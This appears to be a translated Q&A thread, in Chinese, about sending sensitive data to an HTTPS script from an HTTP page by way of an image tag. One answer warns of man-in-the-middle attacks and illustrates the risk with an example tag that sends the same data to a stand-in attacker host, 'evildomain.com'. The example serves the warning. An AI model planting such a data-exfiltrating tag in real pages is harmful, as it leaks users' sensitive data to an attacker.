我有一个服务器脚本,我需要从浏览器传递数据而不重新加载页面(aka ajax)。数据非常敏感,因此应通过https发送。然而,该页面位于http层。由于相同的域/协议限制,浏览器不允许这样做。
我正在考虑通过动态创建图像标记来欺骗系统,并使用src标记来调用脚本,例如:
<img src="https://mydomain.com/mysecurescript/&data=to&pass=to&my=script" />
我想知道这是否确实会加密。
答案 0 :(得分:3)
问题是如果页面本身只是HTTP,那么你很容易受到中间人攻击的影响。攻击者只需修改通过HTTP发送的页面中的脚本,以便使用:
<img src="http://evildomain.com/evilproxyscript/&data=to&pass=to&my=script" />
用户将更加明智。要解决这个问题,你真的需要通过HTTPS提供页面 - 它可以同时巧妙地解决你的其他问题。
(这与登录表单应该在HTTPS页面上的原因完全相同,而不仅仅是表单操作是HTTPS)。
答案 1 :(得分:2)
是和否。
URL的服务器地址部分显然没有加密,因为它用于设置连接。
通过HTTPS连接发送时,其他所有内容都已加密。但是查看源代码的任何人显然都能看到发布的数据。
答案 2 :(得分:0)
还提到某些浏览器不会显示(或在显示之前警告用户)混合模式(http与https)HTML页面。在某些情况下,这可能不起作用,因为用户选择阻止它。
答案 3 :(得分:0)
图像技术的一种可能的替代方案(其他人提到的缺点是某些浏览器不善待混合模式内容)将aSSL。
这两种方法都会导致加密,并且两者在中间攻击中仍然容易受到攻击。